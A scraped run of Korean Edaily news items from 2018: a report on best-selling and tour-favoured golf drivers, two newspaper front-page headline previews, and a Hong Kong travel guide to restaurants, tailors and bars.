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- 아마추어 주말골퍼는 핑 G400, 프로는 캘러웨이 로그
- 골프존마켓 판매율 1위를 차지한 핑 G400 Max 드라이버.[이데일리 스타in 주영로 기자] 아마추어 주말골퍼는 핑 G400, 프로는 캘러웨이 로그. 핑골프의 G400 맥스(Max)와 캘러웨이의 로그 드라이버가 2018년 국내에서 가장 많이 사용된 것으로 조사됐다. G400 맥스 드라이버는 올 한 해 동안 핑골프 자체 조사에서 단일 모델로는 역대 최다 판매를 기록했고, 캘러웨이 로그 드라이버는 KPGA 투어에서 36.19%, KLPGA 투어에서 45.34%의 사용률을 보여 1위에 올랐다. ▶주말 골퍼 1위는 핑 G400주말 골퍼들에게 올 한해 가장 큰 인기를 누린 드라이버는 핑 G400 Max(맥스) 드라이버였다. 골프존마켓이 발표한 2018년 1월부터 9월 오프라인 매장 클럽별 판매수량에 따르면 드라이버 부문에선 핑의 G400 Max 드라이버가 부동의 1위를 지켰다. 2위는 테일러메이드의 M4, 3위는 젝시오의 젝시오X가 차지했다. 자료에선 공식 판매율을 공개하지 않았다. 핑골프는 골프존마켓 이외의 오프라인 매장과 온라인 쇼핑몰에서도 압도적인 판매를 기록하며, 자체 조사에서 단일 제품으로는 역대 최다 판매율을 기록하는 대박을 쳤다. 인기 비결은 탁월한 관용성이다. 방향성에 영향을 주는 관용성은 샷의 정확성이 떨어지는 아마추어 주말 골퍼들에게 중요한 성능이다. 공이 헤드 페이스 중앙에 맞지 않았을 때도 일정 부분 방향을 바로잡아주는 성능으로 정확성을 높여준다. 핑 G400 Max 드라이버는 관성모멘트(MOI) 수치를 9900그램제곱센티미터 이상 최대화시켰다. 현재 판매 중인 드라이버 중 가장 높은 관용성이다. 올해 마이골프스파이에서 발표한 관용성 부문 평가에서 최고점을 획득하며 MOI 1위를 기록해 성능을 입증했다.정확성에 장타 본능도 더해졌다. 앞서 출시된 G400 드라이버의 핵심 기술인 공기역학 터뷸레이터와 드래곤 플라이 크라운, 탄성을 극대화한 T9S+ 포지드 페이스 등은 볼의 탄도를 높여주고, 임팩트 순간 헤드의 비틀림을 약 8% 높여 거리 증가에도 도움을 주고 있다. 서울 용산의 A골프숍 관계자는 “올해 판매된 드라이버 10개 중 5개는 핑의 G400 드라이버였을 정도로 인기가 높았다”고 설명했다. ▶프로 1위는 캘러웨이 캘러웨이 로그 드라이버는 2018년 국내 남녀 프로골프투어에서 가장 높은 사용률을 기록하며 넘버원의 자리를 지켰다. 캘러웨이골프가 올해 열린 한국여자프로골프(KLPGA) 투어 24개 대회에 출전한 선수들의 드라이버 사용률 조사 결과에 따르면 전체 45.34%를 차지해 2위 브랜드보다 2배 이상 높은 것으로 나타났다. 2위는 21.94%, 3위는 11.04%였다. 남자부에서도 비슷한 결과가 나왔다. 한국프로골프(KPGA) 코리안투어 17개 대회에 출전한 선수들의 드라이버 사용률 조사에서 평균 36.19%로 1위를 기록했다. 2위는 31.38%, 3위 20.19% 순이었다. 이 드라이버는 지난해 출시돼 선풍적인 인기를 끌었던 ‘에픽’ 드라이버에 적용된 제일브레이크(Jailbreak) 기술로 만들어진 업그레이드 버전이다. 헤드 내부에 2개의 티타늄 바를 설치해 임팩트 순간 뒤틀림 현상을 최소화하고, 페이스의 반발력을 극대화시켜주는 작용으로 방향성과 비거리 증가에 획기적인 성능을 발휘한다. 프로들이 드라이버를 선택할 때 가장 먼저 고려하는 안정된 방향성과 큰 비거리라는 두 가지를 모두 만족해주는 드라이버다. 국내 남녀 프로골퍼 사용률 1위를 기록한 캘러웨이 로그 드라이버.
- [미리보는 이데일리 신문]잡고있는 법안만 1100여건…'법사위 갑질' 언제까지
- [이데일리 김소연 기자] 다음은 7일자 이데일리 신문 주요 기사다. △1면 -잡고있는 법안만 1100여건…‘법사위 갑질’ 언제까지-KDI, 기재부·한은보다 우울한 성장률 전망-기삼현·한영석 사장 현대중공업 투톱으로-[사설]미국의 이란 제재는 북한에 대한 경고다-[사설]청와대에 규제완화 상환판 설치해야△줌인&- 씨익~웃으면 ‘태풍’ 불어요-책값·공연비도 소득공제 학원비 영수증 챙기세요△커지는 미세먼지 공포-2005년 이전 등록 2.5t 이상 경유차, 오늘 서울서 몰면 과태료 10만원-친환경차 도입확대, 中과 대기질 개선 협력…미세먼지, 잇단 노력에 10년 전보다는 나아져△이데일리가 만났습니다-항공운송·제조·MRO업계 협력…군수→민수, 내수→수출 타깃바꿔야 -항공부품 산업에 271억 지원…136조 세계시장 공략 도울 것△‘무소불위’ 법사위 개혁 서두르자- 상임위서 여야 합의한 법안도 무력화 일쑤…법사위는 ‘식물 국회’의 뿌리- 與도…“野되면 다시 내몫” 막강 권한 깨기싫은 여야- 직장갑질방지법·공정채용법…1135건 법안 ‘낮잠’△정치-“여야 협치” 외친지 하루 만에…‘장조림 난타전’된 청와대 국감-폼페이오·김영철, 내일 뉴욕회담…‘빅딜’하나-김정숙 여사, 허왕후 기념공원 착공식 참석…“나마스떼”- 2018 세법개정안 토론회 與 “정부 균형발전 의지” 野 “엉터리 세수 전망”△경제-“건설·설비투자 악화가 성장률 발목 잡아…금리인상 신중해야”- 한국인 절반 이상 “결혼 안해도 돼…동거도 괜찮아”-공정위 ‘합의과정 기록’ 논란…전문가 “독립성 훼손 우려”△금융-임금피크 직원 ‘마케팅 직무’ 도입한 KB 베테랑 노하우 활용…‘기업금융 강자’로- ‘깜깜이’ 수수료 논의에 떠는 카드사 -조직개편 앞둔 금감원…윤석헌 ‘인사 폭’에 쏠린 눈- 신한은행, 베트남서 모바일뱅킹 ‘쏠’ 출시△화통토크- 중소기업이여…‘국내 60배’ 해외조달시장으로 눈돌려라-“건강한 조직은 시끄러운 조직” 사내 게시판을 익명으로 바꿔△Science&Future Tech-DNA에 야광물질 달아, 광학기로 해독…30억쌍 염기서열 한 눈에 봐요-암환자 DNA 분석해 맞춤형 항암제 개발-“인류의 삶 바꿀 유전자지도…핵심은 빅데이터 기술”△산업&기업- 사장단 세대교체…현대重그룹 재도약 승부수-최태원 “北 개방되면 동북아 잠재력 커질 것” - 현대차, 이스라엘에 3번째 혁신기지…미래車 속도-김윤 “집단 지성으로 글로벌 기업 도약”- 대한항공, 클라우드 시스템 전면 도입△산업-토종 IT 기업 삼국지 ‘AI+쇼핑’무장…커머스시장 잡아라-‘V40싱큐’ 사면 SD카드 드려요-삼성전자·에너지카 손잡고 ‘전기 오토바이’ 내놓는다- KT, CJ CGV와 ‘스마트 영화관’ 만든다△소비자생활-흥바오 증정하고 배송비 깎아주고…‘광군제 맞이’ 분주한 유통가- 아따, 많구마- GS25 ‘TV동물농장’ 손잡고 반려동물 PB 출시-랍스터 1만원대에 업어가세요△중소기업·바이오-‘개발·생산·판매’ 시너지로…글로벌 바이오시장 ‘협공’-사퇴 10개월만에…돌아오는 원희목 협회장 “업계 이해도 높아 능동적인 정책 대응 기대”-중소기업 10곳 중 8곳 “올 하반기 채용계획 無”-‘예지미인’ 한방이미지 벗고 모던하게△증권&마켓-美선거 상원=공화, 하원=민주 승리땐…코스피 연말랠리 탄력-변동성 장세에…절대수익 추구 롱숏펀드 ‘선방’-‘매매거래제한조치’ 해제에 코오롱티슈진 7일새 20%↑△증권-급락장에…MMF·초단기채권으로 뭉칫돈 몰려-“수요예측 결과 기대 못미쳐” CJ CGV베트남, 상장 철회-‘오렌지팩토리’ M&A흥행 조짐에도…못웃는 까닭- 금감원 “연내 불법 공매도 대응 전담팀 운영 검토중”△Book-한국, 남자여…진짜 억울한가-시험·성적표 없어도…얼마든지 창의적일 수 있다 “실수 오케이”-‘여교사·남간호사’ 어젠 괜찮은 표현이었는데…-1등 기업의 비결? 잠들지 않는 ‘기계뇌’△스포츠-넥센 히어로즈…내년부터 ‘키움’ 달고 뛴다-‘선방’ 날리면 이긴다?- 이정은, 이번엔 상금왕 2연패 정조준- 유럽 노크 김민규 “내년엔 꼭 EPGA 1부 투어서 뛰고 싶어”△사람&나눔-자영업자 창업 도울 ‘비즈니스모델 연구센터’ 내년에 세울 것-295억 투자유치…‘빅뱅’ 승리, IT 기업 이끈다-JP모건·열매나눔재단 사회적기업 후원 MOU-‘자본시장 전문가’ 최석윤 메리츠화재 총괄 사장에-농협중앙회 허식 부회장, 김원석 경제대표 연임-동방신기 “제주항공 명예직원 됐어요”- 한국중부발전·농어촌공사 ‘온실가스 감축사업’ 협약- 태풍피해 복구에 써달라…포스코, 경북 영덕군에 3억 기부△오피니언-쓴소리의 품격, 막말의 천박함-갤러리에 한발 다가선 KPGA-주52시간제, 장애인시설에선 ‘그림의 떡’△부동산-‘도시재생’ 날개 달고…영등포역 일대 신흥 주거촌 탈바꿈-판교 10년 공공임대 입주자 “분양전환금 9억 비싸” 국토부·LH “주변시세 따른것…계약 내용 못바꿔”-공공택지 분양원가 공개항목 12개→61개로 내년 1월 확대-“고양 삼송·원흥지구, 신도시 검토 안해”△사회-계약직이라며 회의서 빼고, 일거리도 안줘…“알바 경험만도 못해요”- 육체노동 ‘정년 65세’로 바뀌나-“라응찬 前 회장 거짓증언 방치 수사과정서 검찰권 남용 의심”-‘모친 일가족 살해’ 김성관, 무기징역 확정-가상화폐 전산오류 노려 227억원 꿀꺽-‘현금 줄게 폰 개통 하세요’ 보조금 20억 빼돌린 일당
- [여행] 추억과 트렌드 사이, 댄디한 아재는 홍콩으로 간다
- 아련한 추억과 트렌드가 함께 공존하는 ‘홍콩 거리’[이데일리 강경록 기자] 멋진 남자에게는 추억이 있다. 80년대와 90년대 청춘을 보냈다면, 한 세대가 통째로 공유하고 있는 이미지들을 기억하고 있을 것이다. 바람에 펄럭이는 ‘바바리코트’와 선글라스, 입에 문 성냥, 주윤발과 유덕화, 장국영으로 이어지는 홍콩 누아르의 주인공들 얘기다. 홍콩 영화의 황금기는 지나갔지만, 어린 시절의 영웅은 여전히 가슴에 남아 있다. 지금도 홍콩의 뒷골목에서는 네온사인이 요란하게 깜박일까. ‘영웅본색’에 등장했던 그 장소들은 아직도 여전할까. 홍콩이라는 도시의 본질은 조금도 달라지지 않았다. 센트럴과 침사추이의 뒷골목에서 그 시절 스크린에서 보던 홍콩의 환영을 여전히 목격할 수 있기 때문이다. 생전의 장국영이 좋아하던 광둥식 레스토랑부터 주윤발이 단골이라는 서민 식당까지 스타들의 흔적을 쫓으며 아련한 추억 속을 여행해볼 수 있다. 멋진 남자에게는 오늘의 취향이 있다. 취향은 트렌드를 빠르게 읽는 눈일 수도 있지만, 때로는 경험과 연륜에 의해 쌓인 안목이기도 하다. 홍콩은 근사하게 나이 들어온 남자들에게 더없이 어울리는 여행지다. 홍콩의 장점이 다양한 명품 가게만은 아니다. 세계적으로 유행을 따르는 브랜드들이 ‘아시아 최초로’ 상륙하는 도시가 바로 홍콩이다. 20세기 초부터 이어져 온 테일러링 수트의 전통 또한 유구하다. 맛있는 음식을 느긋하게 즐기고 홍콩의 패션과 문화를 즐겁게 체험한 후, 창의적인 칵테일과 독특한 수제 맥주를 맛보는 밤은 더없이 달콤하다. 어제의 추억과 오늘의 트렌드가 매 순간 감각을 일깨우는 도시. 멋진 남자를 위한 내일의 여행지는 단연 홍콩이다.. 주윤발 단골집 ‘팀 초이 키’◇추억과 소울의 홍콩, 옛 향수를 찾아서80년대와 90년대에 청춘을 보낸 세대라면 누구나 홍콩 누아르 영화에 대한 향수가 있다. 그 시절 주윤발은 수많은 소년의 영웅이었다. 여전히 홍콩을 대표하는 배우이자 식도락가로도 유명한 주윤발의 자취를 쫓아 도시의 숨겨진 맛집을 탐방해보자. 주윤발이 즐겨 찾는 식당들은 주룽반도 카오룽 시티(Kowloon City)에 모여 있다. 카오룽 시티는 1998년까지 구 홍콩 국제공항이 있던 곳이었다. 도심 한가운데 공항이 있다보니 신선한 식자재와 맛있고 저렴한 식당들이 곧잘 발견되곤 했다. 주윤발의 단골집 중 하나인 팀 초이 키도 그중 하나다. 1948년 처음 문을 연 후 3대를 거쳐 운영되고 있는 식당이다. 완탕, 콘지, 장펀, 포크찹 등 홍콩 서민 음식을 대표하는 메뉴들이 다채롭게 마련되어 있다. 그중 주윤발이 즐겨 먹는 요리는 ‘뎅짜이 콘지’와 ‘야오티우 장펀’이다. 뎅짜이 콘지는 ‘어부들의 죽’이라는 별명이 붙은 요리인데, 돼지 껍데기와 오징어, 쇠고기, 땅콩 등을 넣어 죽으로 끓인다. 팀초이키의 콘지는 다른 식당들과 달리 새벽 3시부터 6시 반까지 푹 끓여내기 때문에 식감이 부드럽고 풍미가 진하다. 야오티우 장펀은 튀김 과자를 쌀 전병으로 돌돌 만 후 간장을 뿌려 먹는 일종의 딤섬이다. 과자의 바삭바삭한 식감과 전병의 부드러운 감촉이 근사하게 어울린다. 홍콩 어디에서나 쉽게 찾을 수 있을 정도로 흔하고 저렴한 메뉴들이지만, 인스턴트를 절대 쓰지 않고 옛 조리법을 고집스럽게 고수한 덕분에 주윤발을 비롯한 홍콩 식도락가들이 먼 곳에서도 찾아오는 식당이 되었다. 35Lung Kong Road, Kowloon City, 8시부터 17시까지다. 소호 한복판에 있는 서웡펀의 뱀탕◇120년 역사의 홍콩의 보양식 ‘서웡펀’미드레벨 에스컬레이터 주변, 소호 한복판에 있는 식당 서웡펀은 120년의 역사를 자랑한다. 1895년 중국에서 처음 문을 연 후 1940년대 홍콩 센트럴로 옮겨온 서웡펀의 대표 요리는 바로 뱀탕이다. 뱀탕은 중국 남부 지역에서 인기 높은 전통 보양식이었다. 찬 바람이 불기 시작하는 10월부터 다음 해 3월까지 겨울의 으슬으슬한 추위를 버티기 위해 뱀탕을 먹었다. 뱀뼈와 닭뼈, 돼지뼈를 24시간 동안 고운 수프에 신선한 뱀 고기와 진피, 생강을 넣어 끓여낸다. 뱀 고기는 중국 절강성의 양식장에서 철저한 위생 관리를 통해 들여온다. 모험적인 보양식에 큰 흥미가 없다 해도 서웡펀은 한 번 들러볼 만한 가치가 있는 식당이다. 9년째 미슐랭 빕 구르망 맛집으로 선정될 정도로 요리 솜씨가 뛰어나기 때문이다. 파인애플 소스의 탕수육, 오리 덮밥, 진피와 향초로 끓여낸 녹두죽 등 맛있는 홍콩 전통 메뉴들을 다채롭게 갖췄다. 30 Cochrane St, Central, 11시부터 22시 15분까지, 일요일 휴무최고 광둥식 식당 ‘푹람문’◇최고의 광둥식 식당 ‘푹람문’“그곳 음식을 좋아해요. 가격이 비싸서 매일 가지는 못하지만요.” 장국영이 어느 인터뷰에서 이렇게 고백한 식당이 바로 푹람문의 완차이 본점이다. 홍콩 사람들은 푹람문을 두고 ‘부자들의 카페테리아’라고 부른다. 1972년 오픈한 이래 고위 정치인과 홍콩의 재벌들, 최고의 연예인들이 즐겨 찾아온 식당이기 때문이다. 롤스로이스부터 마세라티까지 고가의 자동차들이 문전성시를 이루고, 셀러브리티의 근황을 담으려는 파파라치도 종종 출몰할 정도다. 그러나 가격이 높을까 봐 지나치게 겁먹을 필요는 없다. 맛보다 합리적인 가격대의 메뉴를 제법 찾아볼 수 있고, 점심의 딤섬 런치 메뉴도 여행자가 감당할 만한 가격이다. 푹람문에서는 광둥 가정식의 전통을 고수하며 아주 훌륭한 요리를 낸다. 새콤하게 버무린 목이버섯, 입안에서 살살 녹은 ‘푹람문스 페이머스 크리스피 치킨’, 달콤한 차슈 바비큐 등의 섬세한 풍미는 잊기 힘들 정도다. 화려한 재료들 사이 얼핏 소박해 보이는 새우 돼지고기 볶음밥도 반드시 주문하자. 고슬고슬한 식감과 입안 가득 번지는 고소한 풍미가 그저 너무 맛있다. 35~45 Johnston Road, Wan Chai, 11시30분부터 15시까지, 18시부터 23시까지수제화 브랜드 ‘데노보멘’◇최고의 가성비와 가심비 ‘데노보멘’ 좋은 구두를 찾는 젊은이부터 홍콩의 금융가 엘리트까지 다양한 남성들에게 사랑받는 수제화 브랜드다. 1990년대부터 최고급 수입 구두를 유통하며 쌓은 경험을 바탕으로, 아시아 남성의 발과 체형에 편안하게 맞는 구두를 고급스럽게 제작한다. 버펄로, 말가죽, 양가죽 등으로 질 좋은 명품 가죽을 다채롭게 사용하며, 수제 구두와 카우보이 부츠, 로퍼, 웨딩 슈즈에 이르기까지 다양한 디자인을 선보인다. 연중 세일을 자주 진행하는 편인데, 캐주얼 슈즈는 HKD 650 정도, 가죽 수제화는 HKD 2300 정도다. 6 Gilman‘s Bazaar Des Voeux Road, Central. 11시부터 20시까지다. 50년 경력 장인이 만드는 ‘본햄 스트랜드’◇50년 경력 장인들이 만드는 ‘본햄 스트랜드’ 20세기 초부터 이미 홍콩은 질 좋은 테일러링 수트로 유명한 도시였다. 상하이로부터 건너온 양복 장인들이 홍콩에 터전을 잡았고, 식민지 시대 영국 신사들의 엄격한 패션 감각 역시 한몫했다. 본햄 스트랜드는 ‘100% 메이드 인 홍콩’을 표방하는 테일러링 숍이자 오랜 문화적 유산을 이어가려는 사회적 기업이다. 엘리베이터도 없는 건물에서 초인종을 눌러야 하는 입구부터 가슴이 두근거린다. 계단을 따라 2층으로 올라가면, 소박하고 고풍스러운 사무실이 발길을 맞는다. 사무실 안쪽의 테일러링 작업실에는 경력 30~50년의 나이든 재단사들이 바쁘게 손을 놀린다. 천장에는 나무 팬이 천천히 돌아가고, 2층 창밖으로는 미드레벨 에스컬레이터의 풍경이 정면으로 보인다. 홍콩에서 이보다 더 낭만적인 패션 숍을 찾을 수 있을까? 본햄 스트랜드는 수익을 추구하기보다 은퇴한 재단사들의 복지와 홍콩식 테일러링 수트의 전통을 지키려는 목적으로 설립된 브랜드다. 에르메네질도 제냐와 로로 피아나 등과 같은 이탈리아 원단, 조개와 뿔 소재의 단추 등 고급 재료만을 사용하는데도 불구하고, 비교적 저렴한 가격으로 옷을 맞출 수 있는 이유도 거기에서 비롯된다. 테일러링 수트는 패브릭과 라펠, 소매, 주머니까지 고객이 원하는 대로 주문할 수 있지만, 완성하기까지 어느 정도의 시간이 걸리기에 여행자에겐 어울리지 않는 쇼핑일 수도 있다. 그러나 본햄 스트랜드의 합리적인 가격대와 매력적인 분위기를 그저 스쳐 지나기엔 아쉽다. 사든 아니든, 숍에 한 번쯤 들러 상담을 한 번 받아보는 건 어떨까? 방문하기 전 홈페이지를 통해 예약하는 것이 좋다. 2F On Lok Mansion 39-43 Hollywood Road, Central, 11시부터 20시까지다. 홍콩에서 가장 쿨한 동네인 ‘포호’에 자리한 ‘크로미스’◇모던함과 클래식을 동시에 ‘크로미스’포호는 고즈넉한 골목들로 이뤄진 동네지만 현재 홍콩에서 가장 ‘쿨’한 트렌드를 보여주는 지역이기도 하다. 최근 그 한쪽 모퉁이에 근사한 안경 가게가 하나 오픈했다. 이탈리아의 비스포크 아이웨어 브랜드 크로미스다. 이탈리아에서 안경을 디자인한 후, 일본 장인들이 안경테부터 렌즈, 실리콘 코받침까지 정밀하게 제작한다. 이탈리아의 미의식과 ‘세계 최고’라 일컫는 일본 안경 기술의 만남이라니, 패셔니스타와 깐깐한 안경 사용자가 동시에 환호할 만한 소식이다. 선글라스를 비롯해 바로 사갈 수 있는 제품들도 다채롭게 갖췄고, 숍 한 켠의 비스포크 코너에서는 고객이 원하는 소재와 디테일로 ‘나만의 안경’을 주문할 수 있다. 헤이즐 앤 허시 로스터의 커피 바가 매장에 들어서 있다는 것도 이곳의 매력이다. 우아한 실내에서 향기로운 커피를 홀짝이며 멋진 선글라스들을 구경해보자. 1 Tai Ping Shan Street, Sheung Wan, Hong Kong. 11시~19시까지(일~금요일), 11시부터 19시30분까지(토요일)고급 남성 수제화 편집 매장 ‘테슬’◇신사처럼 즐기는 호사 ‘태슬’랜드마크 쇼핑몰 지하 1층은 남성들을 위한 패션 매장들로 가득하다. 고급 브랜드가 즐비한 복도를 지나다가 문득 시선을 사로잡는 풍경이 있다. 아케이드 복도 한 켠 호화로운 방 한 칸에 앉은 채 구두닦이 서비스를 받고 있는 남자들 얘기다. 이곳은 고급 남성 수제화 편집 매장 태슬의 슈샤인 서비스 부스다. 느긋하게 앉아 신문이나 책을 읽는 동안, 수십년 경력의 장인이 신발을 정성 들여 닦아준다. 구두의 색깔에 맞춘 고급 왁스나 크림을 사용하며, 가장 기본적인 ’베이직 퀵 샤인‘부터 오랜 시간을 들여 거울처럼 윤기를 내는 ’미러 피니싱 서비스‘까지 다양한 메뉴를 갖췄다. 여행 도중 아끼는 신발이 상했거나 여행지에서 뜻밖의 호사를 만끽하고 싶다면 태슬 슈샤인 부스로 향하자. 구두를 닦은 후 바로 옆 퓨엘 커피숍의 맛있는 에스프레소라도 홀짝여보면, 그야말로 홍콩 제일의 신사로 거듭난 기분이 들 것이다. Shop B64-65 The Landmark, Central, 10시 30분부터 20시까지. 삼수이포의 다이파이동 ‘오이만상’◇최고의 가성비, 로컬 포장마차 ‘오이만상’도시에 밤이 찾아온다. 황혼마저 사라지고 어둠이 내리면 거리의 분위기도 완전히 변한다. 삼수이포의 다이파이동 오이만상은 그제야 손님들이 앉을 테이블과 의자를 꺼낸다. 다이파이동은 노천식당을 일컫는 광둥어다. 홍콩의 다이파이동은 저녁 무렵 상점들의 셔터가 닫히면 그 앞에 좌석을 펼쳐놓고 요리를 낸다. 1956년부터 영업을 시작한 오이만상은 홍콩 5대 다이파이동으로 꼽히는 곳으로, <스트리트 푸드 파이터>에서 백종원 셰프가 맥주와 음식을 즐겼던 식당이기도 하다. 요리도 맛있지만, 백종원 셰프의 표현을 빌리자면 이국적인 분위기에 취한다. 시끄러운 광둥어 사이에서 시원한 저녁 바람을 맞으며 마시는 맥주의 맛은 잊기 힘들다. 백종원 셰프의 선택을 따라 마늘 플레이크를 듬뿍 넣은 게 볶음과 쇠고기 간장 볶음을 주문해보자. HKD 60~130불 정도면 다양한 메뉴를 실컷 즐길 수 있다. 215 lai Chi Kok Road, Sham Shui Po. 18시부터 00시 45분까지. 콩콕에 자리한 ‘TAP 더 에일 프로젝트’의 수제 맥주◇홍콩 크래프트 비어의 무한 매력 ‘TAP 더 에일 프로젝트’몽콕 번화가에서 살짝 벗어난 한적한 골목, 홍콩 크래프트 비어의 천국이 애주가의 발길을 기다린다. 더 에일 프로젝트는 에일 애호가부터 젊은 힙스터, 동네 주민이 유쾌하게 어울리는 펍이다. 반바지를 입거나 슬리퍼를 신고 가도 상관없을 정도로 편안한 분위기도 즐겁다. 그러나 이곳의 가장 큰 매력은 역시 홍콩산 수제 맥주의 풍미다. 사천 후추를 사용한 흑맥주부터 오미자로 맛을 낸 에일까지, 홍콩 크래프트 비어의 상상력은 그저 놀랍기만 하다. 하나만 고르기 아쉽다면 3종의 맥주를 함께 맛볼 수 있는 맥주 플래터를 택하는 것이 현명하다. 아시아 각국의 전통 요리에서 영감을 얻은 샌드위치들이 기막히게 맛있으며, 거위알 노른자 크러스트를 올린 감자튀김 또한 별미다. 15 Hak Po Street, Mong Kok. 12시부터 새벽 1시까지(토~목요일). 12시부터 새벽 두 시까지. ‘룸 309’의 독특한 칵테일◇놀라운 아이디어를 마시다 ‘룸 309’룸 309는 세련된 부티크 호텔 더 포팅어의 ‘존재하지 않는 바‘다. 포팅어 호텔은 한 층에 오직 여섯 개의 객실만 운영하기 때문에 309호라는 룸 넘버는 존재할 수 없다. 그 이름처럼 룸 309는 호텔 복도의 정체 모를 철문 안에 숨어 있다. 호텔의 또 다른 바 엔보이(Envoy)에서 카드키를 받은 후 룸309의 문을 연다. 바깥에서는 좀처럼 상상할 수 없었던 어둡고 화려한 바가 갑자기 등장한다. 길쭉한 실내를 따라 늘어선 바 좌석에 앉으면, 이곳의 독특한 개념만큼 특별한 칵테일들을 맛볼 수 있다. 이곳의 시그니처 칵테일은 모두 투명한 색이다. 진토닉처럼 원래 투명한 칵테일이라면 별다를 게 없겠지만, 불투명한 피나콜라다나 어두운 갈색의 올드 패션드 등 원래 색이 짙은 칵테일들만 골라 투명하게 완성했다는 사실이 그저 놀랍다. 비결은 바나나, 피넛버터, 요거트 등의 부재료를 원주와 함께 증류해 풍미를 불어넣는 것. 바의 이름부터 칵테일의 레서피까지 홍콩 최고의 바텐더로 군림하고 있는 안토니오 라이의 작품이다. 74 Queen’s Road, Central. 17시부터 새벽 1시까지(월~금요일), 17시부터 00시까지(토요일), 일요일 휴무취하 레스토랑의 차찬탱◇새벽의 국수로 가뿐한 해장 ‘취화 레스토랑’홍콩의 나이트라이프를 상징하는 란콰이퐁의 길목, 24시간 운영하는 차찬탱이 한 곳 있다. 차찬탱은 차와 간단한 음식을 즐길 수 있는 식당을 뜻하는데, 홍콩식 분식집이라고 이해해도 좋겠다. 웰링턴 스트리트의 취화 레스토랑은 파티를 즐기거나 술을 마신 후 허기를 해결하고 가려는 사람들로 늦은 시각까지 붐빈다. 완탕면, 참깨 소스를 뿌린 토마토 샐러드, 간단한 파스타, 피시볼 수프, 다양한 토핑을 올린 국수, 햄과 치즈를 끼운 토스트까지 취화의 메뉴는 무척 다양하다. 내가 원하는 메뉴로 해장한 후 호텔에 돌아갈 수 있다는 얘기다. 센트럴 근처에서 ‘술집 호핑’을 마친다면, 취화에서 야식을 즐겨보는 것을 잊지 말자. 15-19 Wellington Street, Central,
- [미리보는 이데일리 신문]文대통령 "허심탄회한 대화로 북·미 대화 접점 찾겠다"
- [이데일리 임정우 기자] 다음은 18일자 이데일리 신문 주요 기사다.△1면 -文 대통령 “허심탄회한 대화로 북·미 대화 접점 찾겠다”-부동산에 쏠린 사모펀드…운용능력은 따져봐야-사망자 범죄수익 몰수 가능해진다-[사설]오늘 세계의 눈길이 평양으로 쏠린다-[사설]그린벨트 해제는 마지막 수단이어야△줌인&/ 금융권 유일 평양 가는 이동건 산은 회장 -압록강 접경 중·러 사전답사…남북경협 ‘빅 픽처’ 제시한다-“급등한 집값, 공시가격에 적극 반영”-BMW 피해자 만난 박상기 법무장관 “집단소송제, 증권 외 분야로 확대할 것”△부동산에 쏠린 자산 운영시장-“부동산 호황 지속 힘들다” 경고에도…불나방처럼 뛰어드는 운용사들-수익률 떨어지고 공실률 높아지는데…가격은 뛰네△평양정상회담-도착하자마자 ‘비핵화 회담’…북·미 대화 ‘수석 협상가’로 나선 문재인 대통령-4대그룹, 리룡남 만나 경협판 키우고…IT대표, 4차산업혁명 협력 길 닦아-해운, 항만, 수산 협력…유엔제재 풀리기 전 준비해야△집값과 따로 노는 소비자물가-폭등한 집값은 빼고 뚝 떨어진 전·월세가만 반영…‘물가 착시’ 심화△정치·경제-‘종부세’ 구체적 대안 안내놓고…정부 대책만 때리는 한국당-북한 가는 이해찬…“남북 경협, 퍼주기 아닌 퍼오기”-김동연, 한발 늦은 ‘부동산과의 전쟁’△금융-코스트코 손잡은 현대카드…정태영의 ‘챕터2 전략’ 힘받는다-추석 앞두고…이동빈 행장 현장경영 박차-코픽스 12개월째 상승…주담대 금리 또 오른다△블록체인 어드벤처-웹툰에 토큰경제 접목…창작자, 소비자 간 직접투자 길 열어-27개 언어 서비스…콘텐츠산업 ‘게임의 룰’ 바꿀 것△신재생에너지로 노다지를 캐자-美 IT 기업들 풍력 발전 적극 투자…‘태양 에너지’ 자립도시 확대-中, 태양광 ‘아우토반’ 건설…재생에너지 강국 넘본다△산업&기업-30년째 무분규…구자용 소통경영 빛났다-SK·GS 주유소 택배 ‘홈픽’ 인기몰이-삼성전자, 美 소비자 브랜드 영향력 7위-최성우 포스코 회장 “노조와 대화하겠다”△산업-“이번엔 트럭”…현대차 VS 도요타 ‘수소車 전쟁’ 2막-KT 블록체인 기술로 김포시 지역화페 발행-美 IT 인재 키운 ‘P-테크’…내년 3월 한국서 개교-잘못 보낸 카톡 지울 수 있다…단, 5분내△소비자 생활-‘SNS 핫플레이스’…글로벌 커피전문전 잇단 한국 상륙-삼성물산 패션부문 브랜드 구조조정 끝…‘스포츠웨어’ 키운다-‘자두에 이슬’ 해외서 술술~ 8개월 만에 150만병 돌파△건강-속 불편할 일 많은 추석…더부룩해도 무턱대고 손따지 마세요-의대·한방·치과 협진…최적의 암치료법 찾는다-애연가에게 맞는 치약 따로 있어요△증권&마켓-美 ‘연말쇼핑’ 기대감에…OEM 의류 콧노래-증시 부진에 멀어지는 ‘수익 약속’…우울한 목표전환형 펀드-10년 만에 10배 커진 ‘톱텍’…올들어 ‘지라시’에 주가 털썩△증권-상폐냐, 유지냐…코스닥 15개사 ‘운명의 한주’-투자사 잇단 자금회수…이랜드 재무구조 개선 차질-“개성공단 개발 재개땐 건축외장용패널 매출 3000억 기대”△문화&스포츠-책 한권으로 얻은 카페 한 채…진심은 결국 통하죠-“베트남 사람 된다는 각오로…” 박항서 감독이 밝힌 성공 비결-꾸준한 박인비, 비결은 안정△사람&나눔-19년간 보호받던 장애시설 직원돼 기뻐…이젠 동생들 돌봐야죠-‘非육사’ 박한기 육군 대장, 새 합참의장 내정△오피니언-[목멱칼럼] 포용국가로 가는 길-[생생확대경] 올 추석엔 남자도 부엌에 들어가자-[기자수첩]관료는 기소만 당해도 물러나야 하나△부동산-그린벨트 해제 놓고…국토부-서울시 막판 ‘택지협상’ 진통-주택보유세·대출 조이니…큰손들 수익형부동산 ‘기웃’-내일 전국 3.5만 가구 입주…경기 지역 1.3만 가구 몰려△사회-범죄자 ‘사망·도피’ 땐 몰수 못해…범죄수익, 눈 앞에서 놓치는 꼴-넌 왜 아빠가 없니-수유시설 80%, 하루 사용자 10명도 안돼-CCTV 피해 화장실서 때려…강동구 어린이집 학대 의혹
- 이마트, 남성 전문 편집샵 ‘쇼앤텔’ 오픈
